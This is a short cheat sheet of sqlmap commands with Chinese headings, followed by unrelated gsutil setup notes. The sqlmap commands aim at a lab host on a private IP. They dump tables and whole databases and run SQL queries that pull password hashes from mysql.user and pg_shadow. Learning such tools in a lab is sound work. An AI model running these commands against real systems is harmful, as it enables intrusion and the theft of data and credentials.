python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0

导出所有数据库,所有表的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0

sql query

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢复会话

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”

保存选项到INC配置文件

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save

1 windows :

path=c:\python27;

pythonpath=c:\gsutil\boto;

python  c:\gsutil config

auth code: xxxxxxx

x-project-id: xxxxxx

2 Linux:

export PATH=${PATH}:$HOME/gsutil

&nbsp;